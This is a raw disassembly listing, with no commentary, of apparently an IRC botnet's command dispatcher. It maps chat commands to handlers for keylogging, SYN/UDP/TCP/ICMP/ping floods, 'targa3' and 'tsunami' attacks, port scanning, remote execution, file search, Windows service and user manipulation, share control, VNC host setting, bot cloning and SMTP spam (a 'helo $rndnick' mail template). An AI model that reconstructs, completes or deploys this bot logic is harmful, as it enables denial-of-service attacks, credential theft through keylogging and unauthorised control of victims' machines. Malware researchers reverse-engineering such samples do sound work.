		mov	[ebp+var_E3C], eax
		jnz	short loc_405D1E
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D1E
		mov	esi, [ebp+var_88]


loc_405D1E:				; CODE XREF: sub_401AC7+4239j
					; sub_401AC7+424Fj
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_405D9E


loc_405D88:				; CODE XREF: sub_401AC7+42D5j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081DE
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_405D88
; ---------------------------------------------------------------------------


loc_405D9E:				; CODE XREF: sub_401AC7+42BFj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42B528
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405DAF:				; CODE XREF: sub_401AC7+41F9j
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081DE
		push	ebx
		push	21h
		call	sub_40B5A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DDD
		push	eax
		push	offset unk_42B4EC
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405DDD:				; CODE XREF: sub_401AC7+4309j
		push	offset unk_42B4C0
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405DE7:				; CODE XREF: sub_401AC7+41E4j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EBA
		push	edi
		push	offset aOn	; "on"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E82
		push	2
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_405E25
		push	offset dword_42B498
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405E25:				; CODE XREF: sub_401AC7+4352j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3AD
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BBE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C254[esi], eax
		jnz	loc_4081DE
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset dword_42B438
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405E82:				; CODE XREF: sub_401AC7+4346j
		push	edi
		push	offset aOff	; "off"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081DE
		push	ebx
		push	2
		call	sub_40B5A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB0
		push	eax
		push	offset dword_42B400
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_405EB0:				; CODE XREF: sub_401AC7+43DCj
		push	offset dword_42B3E0
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_405EBA:				; CODE XREF: sub_401AC7+4331j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D1A
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D1A
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF1
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF1
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061B2
		cmp	dword_4C93D4, ebx
		jz	short loc_405F47
		cmp	dword_4C93FC, ebx
		jz	short loc_405F47
		push	offset unk_42B388
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_405F47:				; CODE XREF: sub_401AC7+446Cj
					; sub_401AC7+4474j
		cmp	[ebp+var_C], ebx
		jz	loc_406C42
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F6F
		push	eax
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F6F:				; CODE XREF: sub_401AC7+4498j
		push	edi
		push	offset aStart	; "start"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FD5
		cmp	[ebp+arg_18], ebx
		jz	short loc_405FA9
		push	[ebp+arg_0]
		push	3


loc_405F8A:				; CODE XREF: sub_401AC7+4524j
					; sub_401AC7+453Cj ...
		call	sub_418BBF
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_405FA9:				; CODE XREF: sub_401AC7+44BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418E66
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FCB
		push	offset unk_42B35C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_405FCB:				; CODE XREF: sub_401AC7+44F8j
		push	offset unk_42B33C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_405FD5:				; CODE XREF: sub_401AC7+44B7j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FED
		push	[ebp+arg_0]
		push	4
		jmp	short loc_405F8A
; ---------------------------------------------------------------------------


loc_405FED:				; CODE XREF: sub_401AC7+451Dj
		push	edi
		push	offset aPause	; "pause"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406005
		push	[ebp+arg_0]
		push	5
		jmp	short loc_405F8A
; ---------------------------------------------------------------------------


loc_406005:				; CODE XREF: sub_401AC7+4535j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406020
		push	[ebp+arg_0]
		push	6
		jmp	loc_405F8A
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401AC7+454Dj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40603B
		push	[ebp+arg_0]
		push	1
		jmp	loc_405F8A
; ---------------------------------------------------------------------------


loc_40603B:				; CODE XREF: sub_401AC7+4568j
		push	edi
		push	offset aShare	; "share"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060B8
		cmp	[ebp+arg_18], ebx
		jz	short loc_40608B
		cmp	[ebp+var_8FC], bl
		jz	short loc_406061
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40606C
; ---------------------------------------------------------------------------


loc_406061:				; CODE XREF: sub_401AC7+4590j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_40606C:				; CODE XREF: sub_401AC7+4598j
		call	sub_418FA3
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 18h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_40608B:				; CODE XREF: sub_401AC7+4588j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419198
		add	esp, 10h
		test	eax, eax
		jz	short loc_4060AE
		push	offset unk_42B2FC
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4060AE:				; CODE XREF: sub_401AC7+45DBj
		push	offset unk_42B2DC
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4060B8:				; CODE XREF: sub_401AC7+4583j
		push	edi
		push	offset aUser	; "user"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40615A
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40612D
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060EE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40610E
; ---------------------------------------------------------------------------


loc_4060EE:				; CODE XREF: sub_401AC7+4613j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_40610A
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40610E
; ---------------------------------------------------------------------------


loc_40610A:				; CODE XREF: sub_401AC7+463Cj
		push	ebx
		push	eax
		push	2


loc_40610E:				; CODE XREF: sub_401AC7+4625j
					; sub_401AC7+4641j
		call	sub_4192B9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 24h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_40612D:				; CODE XREF: sub_401AC7+460Bj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4197CD
		add	esp, 10h
		test	eax, eax
		jz	short loc_406150
		push	offset unk_42B2BC
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_406150:				; CODE XREF: sub_401AC7+467Dj
		push	offset unk_42B29C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_40615A:				; CODE XREF: sub_401AC7+4600j
		push	edi
		push	offset aSend	; "send"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061A8
		cmp	[ebp+arg_18], ebx
		jz	short loc_40619E
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419A81
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401AC7+46A7j
		push	offset unk_42B270
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_401AC7+46A2j
		push	offset unk_42B254
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4061B2:				; CODE XREF: sub_401AC7+4460j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_4061E0:				; CODE XREF: sub_401AC7+3C93j
					; sub_401AC7+3CC9j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BB1
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BB1
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B5B
		push	[ebp+arg_8]
		push	offset dword_42B93C
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B5B
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AED
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AED
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E0
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E0
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895E
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895E
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088F0
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088F0
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088CA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088CA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40886A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40886A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408772
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408772
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086A0
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086A0
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085CB
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085CB
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408530
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408530
		push	[ebp+arg_8]
		push	offset aHadeth	; "HADETH"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083A7
		push	[ebp+arg_8]
		push	offset aHadeth	; "HADETH"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083A7
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408314
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408314
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408208
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408208
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408192
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408192
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40809B
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40809B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FB3
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBA
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBA
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBA
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066F3
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3AD
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset dword_415208
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4066E2


loc_4066CC:				; CODE XREF: sub_401AC7+4C19j
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D2D
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_4066CC
; ---------------------------------------------------------------------------


loc_4066E2:				; CODE XREF: sub_401AC7+4C03j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_4066F3:				; CODE XREF: sub_401AC7+4B59j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DD2
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DD2
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406820
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42B098
		push	eax
		mov	[ebp+var_36AC],	esi
		call	sub_41C006
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	10h
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset byte_41416D
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40680F


loc_4067F9:				; CODE XREF: sub_401AC7+4D46j
		cmp	[ebp+var_349C],	ebx
		jnz	loc_4071DD
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_4067F9
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_401AC7+4D30j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset dword_42B05C
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_406820:				; CODE XREF: sub_401AC7+4C6Bj
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CEA
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CEA
		push	[ebp+arg_8]
		push	offset aNazel	; "NAZEL"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BAF
		push	[ebp+arg_8]
		push	offset aNazel	; "NAZEL"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BAF
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AB5
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AB5
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079C2
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079C2
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4078ED
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4078ED
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077DB
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077DB
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F6C
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076D5
		push	[ebp+arg_8]
		push	offset dword_42AFF0
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4076D5
		push	[ebp+arg_8]
		push	offset off_42AFEC
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071FD
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071FD
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B7
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B7
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4070B7
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FA9
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FA9
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E82
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A9E
		push	edi
		call	sub_41B4CF
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	loc_401F6C
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_40408E
; ---------------------------------------------------------------------------


loc_406A9E:				; CODE XREF: sub_401AC7+4FA1j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CD2
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406CD2
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C7A
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C620
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C620
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C620
		push	offset asc_42CDCC ; " "
		push	offset dword_42B938
		push	[ebp+esi+var_7C]
		call	sub_4183EC
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C620
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4C9274
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4C9388
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4C9384
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4C9304
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C006
		add	esp, 1Ch
